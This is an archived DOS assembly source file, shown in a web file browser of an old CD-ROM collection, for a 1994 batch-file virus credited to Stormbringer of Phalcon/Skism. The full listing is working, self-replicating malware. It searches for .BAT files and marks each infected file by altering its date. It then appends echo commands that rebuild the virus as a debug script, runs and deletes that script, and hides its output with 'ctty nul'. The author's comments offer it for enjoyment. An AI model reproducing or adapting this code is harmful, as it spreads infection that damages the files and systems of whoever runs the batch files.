home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / BATCHCOL.ZIP / VIRUSES.ZIP / BATCH.ZIP / BATCH.ASM next >
Encoding:
Assembly Source File  |  1994-02-27  |  4.9 KB  |  238 lines

  1. ;             [BATVIR] '94 (c) 1994 Stormbringer [Phalcon/Skism]
  2. ;
  3. ;   This virus is a bit cheesy, but hell.... Believe it or not, I got bored 
  4. ;enough to write a direct action .BAT infector in assembly.  It infects files 
  5. ;by basically creating a debug script of itself, echoing it out to a file,
  6. ;then running it using debug to infect more files.  I doubt anyone has
  7. ;done this in quite this manner, so....
  8. ;
  9. ;
  10. ;
  11. ;enjoy,
  12. ;Stormbringer [P/S]
  13.  
  14.  
  15. .model tiny
  16. .radix 16
  17. .code
  18.         org 100
  19. start:
  20.         mov     ah,4e
  21.         mov     dx,offset filemask
  22.  
  23. FindFile:        
  24.         int     21
  25.         jc      NoMoreFiles
  26.  
  27.         mov     dx,9e
  28.         mov     ax,3d02
  29.         int     21
  30.         jc      DoneInfect
  31.         xchg    bx,ax
  32.  
  33.         mov     ax,5700
  34.         int     21
  35.         push    cx dx
  36.  
  37.         cmp     dh,80
  38.         jae     AlreadyInfected
  39.  
  40.  
  41.         mov     ax,4202
  42.         xor     cx,cx
  43.         xor     dx,dx
  44.         int     21
  45.  
  46.         mov     si,100
  47.         mov     di,offset end_virus
  48.         mov     cx,end_virus-start
  49.         push    bx
  50.         call    Convert2Hex
  51.         pop     bx
  52.  
  53.         call    InfectBat
  54.  
  55.  
  56.         pop     dx
  57.         add     dh,0c8  ;Add 100 years to filedate
  58.         push    dx
  59.  
  60. AlreadyInfected:
  61.         pop     dx cx
  62.         mov     ax,5701
  63.         int     21
  64.  
  65.         mov     ah,3e
  66.         int     21
  67.  
  68. DoneInfect:        
  69.         mov     ah,4f
  70.         jmp     FindFile
  71.  
  72. NoMoreFiles:
  73.         mov     ax,4c00
  74.         int     21
  75.  
  76.  
  77. Convert2Hex:
  78.         push    cx
  79.         lodsb
  80.         mov     bx,ax
  81.         mov     cx,4
  82.         shr     al,cl        
  83.         push    ax
  84.         call    convert2asc
  85.         stosb
  86.         pop     ax
  87.         shl     al,cl
  88.         sub     bl,al
  89.         xchg    al,bl
  90.         call    convert2asc
  91.         stosb
  92.         mov     ax,' '
  93.         stosb
  94.         pop     cx
  95.         loop    Convert2hex
  96.         stosb
  97.         stosb
  98.         ret
  99.  
  100. convert2asc:
  101.         cmp     al,0a
  102.         jae     letter
  103.         add     al,'0'
  104.         ret
  105. letter:
  106.         add     al,'A'-0a
  107.         ret
  108.  
  109. InfectBat:
  110.         mov     ah,40
  111.         mov     dx,offset startinf
  112.         mov     cx,endsinf-startinf     ;Write start of infection
  113.         int     21
  114.         mov     dx,offset end_virus
  115.  
  116.    DataLoop:
  117.         push    dx        
  118.         call    calcloc
  119.         call    writeecho1        
  120.         pop     dx        
  121.         push    dx
  122.  
  123.         mov     cx,di
  124.         sub     cx,dx
  125.         cmp     cx,60d
  126.         jb      WriteData
  127.         mov     cx,60d
  128. WriteData:
  129.         mov     ah,40
  130.         int     21
  131.  
  132.         push    ax
  133.         call    WriteRedirect
  134.         pop     ax
  135.  
  136.         pop     dx        
  137.         add     dx,ax
  138.         cmp     dx,di
  139.         jae     WriteGoExitCommands
  140.         jmp     DataLoop
  141.  
  142.  
  143. WriteGoExitCommands:
  144.         call    writeecho2
  145.  
  146.         mov     ah,40
  147.         mov     dx,offset govirus
  148.         mov     cx,1
  149.         int     21
  150.  
  151.         call    WriteRedirect
  152.         call    writeecho2
  153.  
  154.         mov     ah,40
  155.         mov     dx,offset govirus+1
  156.         mov     cx,1
  157.         int     21
  158.  
  159.         call    WriteRedirect
  160.  
  161.         mov     dx,offset batchender
  162.         mov     cx,endbatend-batchender
  163.         mov     ah,40
  164.         int     21
  165.  
  166.         ret
  167.         
  168. WriteRedirect:
  169.         mov     dx,offset echodest
  170.         mov     cx,endvirusfile-echodest
  171.         mov     ah,40                   
  172.         int     21
  173.         ret
  174.  
  175. WriteEcho1:
  176.         mov     cx,enddb-databyte
  177.         jmp     short WriteEcho
  178. WriteEcho2:
  179.         mov     cx,5
  180. WriteEcho:
  181.         mov     dx,offset databyte
  182.         mov     ah,40
  183.         int     21
  184.         ret
  185.  
  186.  
  187. calcloc:
  188.         push    ax bx cx dx si di
  189.         sub     dx,offset end_virus
  190.         mov     ax,dx
  191.         mov     cx,3
  192.         xor     dx,dx
  193.         div     cx
  194.         mov     dx,ax
  195.         add     dx,100
  196.         mov     di,offset temp
  197.         mov     si,offset location
  198.         xchg    dh,dl
  199.         mov     location,dx
  200.         mov     cx,2
  201.         call    Convert2Hex
  202.         mov     di,offset buffer1
  203.         mov     si,offset temp
  204.         movsw
  205.         lodsb
  206.         movsw
  207.         pop     di si dx cx bx ax
  208.         ret
  209.  
  210.  
  211. Filemask        db      '*.bat',0
  212.  
  213. govirus         db      'gq'
  214. endgovirus:
  215.  
  216. databyte        db      'echo e'
  217. buffer1         db      '0100 '
  218. enddb:
  219.  
  220. echodest        db      ' >>'
  221. VirusFile       db      'batvir.94',0dh,0a
  222. EndVirusFile:
  223.  
  224. Batchender      db      'debug<batvir.94',0dh,0a ,'del batvir.94',0dh,0a
  225.                 db      'ctty con',0dh,0a
  226. endbatend:
  227.  
  228. startinf:        
  229.         db      0dh,0a,'@echo off',0dh,0a
  230.         db      'ctty nul',0dh,0a
  231. Credits db      'rem [BATVIR] ''94 (c) Stormbringer [P/S]',0dh,0a
  232. endsinf:
  233. location        dw      0
  234. temp            dw      0,0,0,0
  235.  
  236. end_virus:
  237. end start
  238.